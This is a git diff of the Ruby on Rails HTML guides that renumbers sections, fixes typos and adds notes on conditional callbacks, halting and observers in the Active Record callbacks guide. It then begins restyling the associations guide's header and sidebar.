-<div class="para"><p>Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations.</p></div>
-<h3 id="_callbacks_called_both_when_creating_or_updating_a_record">9.1. Callbacks called both when creating or updating a record.</h3>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Like in validations, we can also make our callbacks conditional, calling then only when a given predicate is satisfied. You can do that by using the <tt>:if</tt> and <tt>:unless</tt> options, which can take a symbol, a string or a Ruby Proc. You may use the <tt>:if</tt> option when you want to specify when the callback <strong>should</strong> get called. If you want to specify when the callback <strong>should not</strong> be called, then you may use the <tt>:unless</tt> option.</p></div>
+<h3 id="_using_a_symbol_with_the_tt_if_tt_and_tt_unless_tt_options_2">9.1. Using a symbol with the <tt>:if</tt> and <tt>:unless</tt> options</h3>
+<div class="paragraph"><p>You can associate the <tt>:if</tt> and <tt>:unless</tt> options with a symbol corresponding to the name of a method that will get called right before the callback. If this method returns <tt>false</tt> the callback won&#8217;t be executed. This is the most common option. Using this form of registration it&#8217;s also possible to register several different methods that should be called to check the if the callback should be executed.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+ before_save <span style="color: #990000">:</span>normalize_card_number<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>paid_with_card?
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<h3 id="_using_a_string_with_the_tt_if_tt_and_tt_unless_tt_options_2">9.2. Using a string with the <tt>:if</tt> and <tt>:unless</tt> options</h3>
+<div class="paragraph"><p>You can also use a string that will be evaluated using <tt>:eval</tt> and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+ before_save <span style="color: #990000">:</span>normalize_card_number<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"paid_with_card?"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<h3 id="_using_a_proc_object_with_the_tt_if_tt_and_tt_unless_tt_options_2">9.3. Using a Proc object with the <tt>:if</tt> and :<tt>unless</tt> options</h3>
+<div class="paragraph"><p>Finally, it&#8217;s possible to associate <tt>:if</tt> and <tt>:unless</tt> with a Ruby Proc object. This option is best suited when writing short validation methods, usually one-liners.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+ before_save <span style="color: #990000">:</span>normalize_card_number<span style="color: #990000">,</span>
+ <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> Proc<span style="color: #990000">.</span>new <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>order<span style="color: #990000">|</span> order<span style="color: #990000">.</span>paid_with_card? <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<h3 id="_multiple_conditions_for_callbacks">9.4. Multiple Conditions for Callbacks</h3>
+<div class="paragraph"><p>When writing conditional callbacks, it&#8217;s possible to mix both <tt>:if</tt> and <tt>:unless</tt> in the same callback declaration.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Comment <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+ after_create <span style="color: #990000">:</span>send_email_to_author<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>author_wants_emails?<span style="color: #990000">,</span>
+ <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> <span style="color: #990000">=&gt;</span> Proc<span style="color: #990000">.</span>new <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>comment<span style="color: #990000">|</span> comment<span style="color: #990000">.</span>post<span style="color: #990000">.</span>ignore_comments? <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+</div>
+<h2 id="_available_callbacks">10. Available callbacks</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations.</p></div>
+<h3 id="_callbacks_called_both_when_creating_or_updating_a_record">10.1. Callbacks called both when creating or updating a record.</h3>
+<div class="ulist"><ul>
<li>
<p>
<tt>before_validation</tt>
@@ -1033,8 +1050,8 @@ Readability, since your callback declarations will live at the beggining of your
</p>
</li>
</ul></div>
-<h3 id="_callbacks_called_only_when_creating_a_new_record">9.2. Callbacks called only when creating a new record.</h3>
-<div class="ilist"><ul>
+<h3 id="_callbacks_called_only_when_creating_a_new_record">10.2. Callbacks called only when creating a new record.</h3>
+<div class="ulist"><ul>
<li>
<p>
<tt>before_validation_on_create</tt>
@@ -1061,8 +1078,8 @@ Readability, since your callback declarations will live at the beggining of your
</p>
</li>
</ul></div>
-<h3 id="_callbacks_called_only_when_updating_an_existing_record">9.3. Callbacks called only when updating an existing record.</h3>
-<div class="ilist"><ul>
+<h3 id="_callbacks_called_only_when_updating_an_existing_record">10.3. Callbacks called only when updating an existing record.</h3>
+<div class="ulist"><ul>
<li>
<p>
<tt>before_validation_on_update</tt>
@@ -1089,8 +1106,8 @@ Readability, since your callback declarations will live at the beggining of your
</p>
</li>
</ul></div>
-<h3 id="_callbacks_called_when_removing_a_record_from_the_database">9.4. Callbacks called when removing a record from the database.</h3>
-<div class="ilist"><ul>
+<h3 id="_callbacks_called_when_removing_a_record_from_the_database">10.4. Callbacks called when removing a record from the database.</h3>
+<div class="ulist"><ul>
<li>
<p>
<tt>before_destroy</tt>
@@ -1107,20 +1124,20 @@ Readability, since your callback declarations will live at the beggining of your
</p>
</li>
</ul></div>
-<div class="para"><p>The <tt>before_destroy</tt> and <tt>after_destroy</tt> callbacks will only be called if you delete the model using either the <tt>destroy</tt> instance method or one of the <tt>destroy</tt> or <tt>destroy_all</tt> class methods of your Active Record class. If you use <tt>delete</tt> or <tt>delete_all</tt> no callback operations will run, since Active Record will not instantiate any objects, accessing the records to be deleted directly in the database.</p></div>
-<h3 id="_the_tt_after_initialize_tt_and_tt_after_find_tt_callbacks">9.5. The <tt>after_initialize</tt> and <tt>after_find</tt> callbacks</h3>
-<div class="para"><p>The <tt>after_initialize</tt> callback will be called whenever an Active Record object is instantiated, either by direcly using <tt>new</tt> or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record <tt>initialize</tt> method.</p></div>
-<div class="para"><p>The <tt>after_find</tt> callback will be called whenever Active Record loads a record from the database. When used together with <tt>after_initialize</tt> it will run first, since Active Record will first read the record from the database and them create the model object that will hold it.</p></div>
-<div class="para"><p>The <tt>after_initialize</tt> and <tt>after_find</tt> callbacks are a bit different from the others, since the only way to register those callbacks is by defining them as methods. If you try to register <tt>after_initialize</tt> or <tt>after_find</tt> using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since <tt>after_initialize</tt> and <tt>after_find</tt> will both be called for each record found in the database, significantly slowing down the queries.</p></div>
+<div class="paragraph"><p>The <tt>before_destroy</tt> and <tt>after_destroy</tt> callbacks will only be called if you delete the model using either the <tt>destroy</tt> instance method or one of the <tt>destroy</tt> or <tt>destroy_all</tt> class methods of your Active Record class. If you use <tt>delete</tt> or <tt>delete_all</tt> no callback operations will run, since Active Record will not instantiate any objects, accessing the records to be deleted directly in the database.</p></div>
+<h3 id="_the_tt_after_initialize_tt_and_tt_after_find_tt_callbacks">10.5. The <tt>after_initialize</tt> and <tt>after_find</tt> callbacks</h3>
+<div class="paragraph"><p>The <tt>after_initialize</tt> callback will be called whenever an Active Record object is instantiated, either by direcly using <tt>new</tt> or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record <tt>initialize</tt> method.</p></div>
+<div class="paragraph"><p>The <tt>after_find</tt> callback will be called whenever Active Record loads a record from the database. When used together with <tt>after_initialize</tt> it will run first, since Active Record will first read the record from the database and them create the model object that will hold it.</p></div>
+<div class="paragraph"><p>The <tt>after_initialize</tt> and <tt>after_find</tt> callbacks are a bit different from the others, since the only way to register those callbacks is by defining them as methods. If you try to register <tt>after_initialize</tt> or <tt>after_find</tt> using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since <tt>after_initialize</tt> and <tt>after_find</tt> will both be called for each record found in the database, significantly slowing down the queries.</p></div>
</div>
-<h2 id="_halting_execution">10. Halting Execution</h2>
+<h2 id="_halting_execution">11. Halting Execution</h2>
<div class="sectionbody">
-<div class="para"><p>As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks and the database operation to be executed. However, if at any moment one of the <tt>before_create</tt>, <tt>before_save</tt>, <tt>before_update</tt> or <tt>before_destroy</tt> callback methods returns a boolean <tt>false</tt> (not <tt>nil</tt>) value, this execution chain will be halted and the desired operation will not complete: your model will not get persisted in the database, or your records will not get deleted and so on.</p></div>
+<div class="paragraph"><p>As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model&#8217;s validations, the registered callbacks and the database operation to be executed. However, if at any moment one of the <tt>before_create</tt>, <tt>before_save</tt>, <tt>before_update</tt> or <tt>before_destroy</tt> callback methods returns a boolean <tt>false</tt> (not <tt>nil</tt>) value or raise and exception, this execution chain will be halted and the desired operation will not complete: your model will not get persisted in the database, or your records will not get deleted and so on. It&#8217;s because the whole callback chain is wrapped in a transaction, so raising an exception or returning <tt>false</tt> fires a database ROLLBACK.</p></div>
</div>
-<h2 id="_callback_classes">11. Callback classes</h2>
+<h2 id="_callback_classes">12. Callback classes</h2>
<div class="sectionbody">
-<div class="para"><p>Sometimes the callback methods that you'll write will be useful enough to be reused at other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.</p></div>
-<div class="para"><p>Here's an example where we create a class with a after_destroy callback for a PictureFile model.</p></div>
+<div class="paragraph"><p>Sometimes the callback methods that you&#8217;ll write will be useful enough to be reused at other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.</p></div>
+<div class="paragraph"><p>Here&#8217;s an example where we create a class with a after_destroy callback for a PictureFile model.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1130,9 +1147,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_destroy<span style="color: #990000">(</span>picture_file<span style="color: #990000">)</span>
File<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>picture_file<span style="color: #990000">.</span>filepath<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> File<span style="color: #990000">.</span>exists?<span style="color: #990000">(</span>picture_file<span style="color: #990000">.</span>filepath<span style="color: #990000">)</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1140,9 +1156,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PictureFile <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
after_destroy PictureFileCallbacks<span style="color: #990000">.</span>new
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Note that we needed to instantiate a new PictureFileCallbacks object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Note that we needed to instantiate a new PictureFileCallbacks object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1152,9 +1167,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>after_destroy<span style="color: #990000">(</span>picture_file<span style="color: #990000">)</span>
File<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>picture_file<span style="color: #990000">.</span>filepath<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> File<span style="color: #990000">.</span>exists?<span style="color: #990000">(</span>picture_file<span style="color: #990000">.</span>filepath<span style="color: #990000">)</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If the callback method is declared this way, it won't be necessary to instantiate a PictureFileCallbacks object.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If the callback method is declared this way, it won&#8217;t be necessary to instantiate a PictureFileCallbacks object.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1162,16 +1176,15 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PictureFile <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
after_destroy PictureFileCallbacks
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can declare as many callbacks as you want inside your callback classes.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You can declare as many callbacks as you want inside your callback classes.</p></div>
</div>
-<h2 id="_observers">12. Observers</h2>
+<h2 id="_observers">13. Observers</h2>
<div class="sectionbody">
-<div class="para"><p>Active Record callbacks are a powerful feature, but they can pollute your model implementation with code that's not directly related to the model's purpose. In object-oriented software, it's always a good idea to design your classes with a single responsability in the whole system. For example, it wouldn't make much sense to have a <tt>User</tt> model with a method that writes data about a login attempt to a log file. Whenever you're using callbacks to write code that's not directly related to your model class purposes, it may be a good moment to create an Observer.</p></div>
-<div class="para"><p>An Active Record Observer is an object that links itself to a model and register it's methods for callbacks. Your model's implementation remain clean, while you can reuse the code in the Observer to add behaviuor to more than one model class. Ok, you may say that we can also do that using callback classes, but it would still force us to add code to our model's implementation.</p></div>
-<div class="para"><p>Observer classes are subclasses of the <tt>ActiveRecord::Observer</tt> class. When this class is subclassed, Active Record will look at the name of the new class and then strip the <em>Observer</em> part to find the name of the Active Record class to observe.</p></div>
-<div class="para"><p>Consider a <tt>Registration</tt> model, where we want to send an email everytime a new registration is created. Since sending emails is not directly related to our model's purpose, we could create an Observer to do just that:</p></div>
+<div class="paragraph"><p>Active Record callbacks are a powerful feature, but they can pollute your model implementation with code that&#8217;s not directly related to the model&#8217;s purpose. In object-oriented software, it&#8217;s always a good idea to design your classes with a single responsibility in the whole system. For example, it wouldn&#8217;t make much sense to have a <tt>User</tt> model with a method that writes data about a login attempt to a log file. Whenever you&#8217;re using callbacks to write code that&#8217;s not directly related to your model class purposes, it may be a good moment to create an Observer.</p></div>
+<div class="paragraph"><p>An Active Record Observer is an object that links itself to a model and registers its methods for callbacks. Your model&#8217;s implementation remains clean, while you can reuse the code in the Observer to add behaviour to more than one model class. OK, you may say that we can also do that using callback classes, but it would still force us to add code to our model&#8217;s implementation.</p></div>
+<div class="paragraph"><p>Observer classes are subclasses of the ActiveRecord::Observer class. When this class is subclassed, Active Record will look at the name of the new class and then strip the <em>Observer</em> part to find the name of the Active Record class to observe.</p></div>
+<div class="paragraph"><p>Consider a Registration model, where we want to send an email every time a new registration is created. Since sending emails is not directly related to our model&#8217;s purpose, we could create an Observer to do just that:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1181,10 +1194,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> after_create<span style="color: #990000">(</span>model<span style="color: #990000">)</span>
<span style="font-style: italic"><span style="color: #9A1900"># code to send registration confirmation emails...</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Like in callback classes, the observer's methods receive the observed model as a parameter.</p></div>
-<div class="para"><p>Sometimes using the ModelName + Observer naming convention won't be the best choice, mainly when you want to use the same observer for more than one model class. It's possible to explicity specify the models that our observer should observe.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Like in callback classes, the observer&#8217;s methods receive the observed model as a parameter.</p></div>
+<div class="paragraph"><p>Sometimes using the ModelName + Observer naming convention won&#8217;t be the best choice, mainly when you want to use the same observer for more than one model class. It&#8217;s possible to explicity specify the models that our observer should observe.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1192,29 +1204,28 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Auditor <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Observer
observe User<span style="color: #990000">,</span> Registration<span style="color: #990000">,</span> Invoice
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_registering_observers">12.1. Registering observers</h3>
-<div class="para"><p>If you payed attention, you may be wondering where Active Record Observers are referenced in our applications, so they get instantiate and begin to interact with our models. For observers to work we need to register them somewhere. The usual place to do that is in our application's <strong>config/environment.rb</strong> file. In this file there is a commented out line where we can define the observers that our application should load at start-up.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<h3 id="_registering_observers">13.1. Registering observers</h3>
+<div class="paragraph"><p>If you paid attention, you may be wondering where Active Record Observers are referenced in our applications, so they get instantiated and begin to interact with our models. For observers to work we need to register them somewhere. The usual place to do that is in our application&#8217;s <strong>config/environment.rb</strong> file. In this file there is a commented-out line where we can define the observers that our application should load at start-up.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Activate observers that should always be running</span></span>
-config<span style="color: #990000">.</span>active_record<span style="color: #990000">.</span>observers <span style="color: #990000">=</span> <span style="color: #990000">:</span>registration_observer<span style="color: #990000">,</span> <span style="color: #990000">:</span>auditor
-</tt></pre></div></div>
-<div class="para"><p>You can uncomment the line with <tt>config.active_record.observers</tt> and change the symbols for the name of the observers that should be registered.</p></div>
-<div class="para"><p>It's also possible to register callbacks in any of the files living at <strong>config/environments/</strong>, if you want an observer to work only in a specific environment. There is not a <tt>config.active_record.observers</tt> line at any of those files, but you can simply add it.</p></div>
-<h3 id="_where_to_put_the_observers_source_files">12.2. Where to put the observers' source files</h3>
-<div class="para"><p>By convention, you should always save your observers' source files inside <strong>app/models</strong>.</p></div>
+config<span style="color: #990000">.</span>active_record<span style="color: #990000">.</span>observers <span style="color: #990000">=</span> <span style="color: #990000">:</span>registration_observer<span style="color: #990000">,</span> <span style="color: #990000">:</span>auditor</tt></pre></div></div>
+<div class="paragraph"><p>You can uncomment the line with <tt>config.active_record.observers</tt> and change the symbols for the name of the observers that should be registered.</p></div>
+<div class="paragraph"><p>It&#8217;s also possible to register callbacks in any of the files living at <strong>config/environments/</strong>, if you want an observer to work only in a specific environment. There is not a <tt>config.active_record.observers</tt> line at any of those files, but you can simply add it.</p></div>
+<h3 id="_where_to_put_the_observers_source_files">13.2. Where to put the observers' source files</h3>
+<div class="paragraph"><p>By convention, you should always save your observers' source files inside <strong>app/models</strong>.</p></div>
</div>
-<h2 id="_changelog">13. Changelog</h2>
+<h2 id="_changelog">14. Changelog</h2>
<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks">http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks</a></p></div>
+<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks">Lighthouse ticket</a></p></div>
+<div class="paragraph"><p>January 9, 2009: Initial version by <a href="http://guides.rails.info/authors.html#cmarques">Cássio Marques</a></p></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/association_basics.html b/railties/doc/guides/html/association_basics.html
index a2f89e3c43..bfe8f3f341 100644
--- a/railties/doc/guides/html/association_basics.html
+++ b/railties/doc/guides/html/association_basics.html
@@ -1,276 +1,108 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>A Guide to Active Record Associations</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>A Guide to Active Record Associations</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_why_associations">Why Associations?</a>
- </li>
- <li>
- <a href="#_the_types_of_associations">The Types of Associations</a>
- <ul>
-
- <li><a href="#_the_tt_belongs_to_tt_association">The <tt>belongs_to</tt> Association</a></li>
-
- <li><a href="#_the_tt_has_one_tt_association">The <tt>has_one</tt> Association</a></li>
-
- <li><a href="#_the_tt_has_many_tt_association">The <tt>has_many</tt> Association</a></li>
-
- <li><a href="#_the_tt_has_many_through_tt_association">The <tt>has_many :through</tt> Association</a></li>
-
- <li><a href="#_the_tt_has_one_through_tt_association">The <tt>has_one :through</tt> Association</a></li>
-
- <li><a href="#_the_tt_has_and_belongs_to_many_tt_association">The <tt>has_and_belongs_to_many</tt> Association</a></li>
-
- <li><a href="#_choosing_between_tt_belongs_to_tt_and_tt_has_one_tt">Choosing Between <tt>belongs_to</tt> and <tt>has_one</tt></a></li>
-
- <li><a href="#_choosing_between_tt_has_many_through_tt_and_tt_has_and_belongs_to_many_tt">Choosing Between <tt>has_many :through</tt> and <tt>has_and_belongs_to_many</tt></a></li>
-
- <li><a href="#_polymorphic_associations">Polymorphic Associations</a></li>
-
- <li><a href="#_self_joins">Self Joins</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_tips_tricks_and_warnings">Tips, Tricks, and Warnings</a>
- <ul>
-
- <li><a href="#_controlling_caching">Controlling Caching</a></li>
-
- <li><a href="#_avoiding_name_collisions">Avoiding Name Collisions</a></li>
-
- <li><a href="#_updating_the_schema">Updating the Schema</a></li>
-
- <li><a href="#_controlling_association_scope">Controlling Association Scope</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_detailed_association_reference">Detailed Association Reference</a>
- <ul>
-
- <li><a href="#_the_tt_belongs_to_tt_association_2">The <tt>belongs_to</tt> Association</a></li>
-
- <li><a href="#_the_has_one_association">The has_one Association</a></li>
-
- <li><a href="#_the_has_many_association">The has_many Association</a></li>
-
- <li><a href="#_the_tt_has_and_belongs_to_many_tt_association_2">The <tt>has_and_belongs_to_many</tt> Association</a></li>
-
- <li><a href="#_association_callbacks">Association Callbacks</a></li>
-
- <li><a href="#_association_extensions">Association Extensions</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>A Guide to Active Record Associations</h1>
- <div id="preamble">
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_why_associations">Why Associations?</a>
+ </li>
+ <li>
+ <a href="#_the_types_of_associations">The Types of Associations</a>
+ <ul>
+
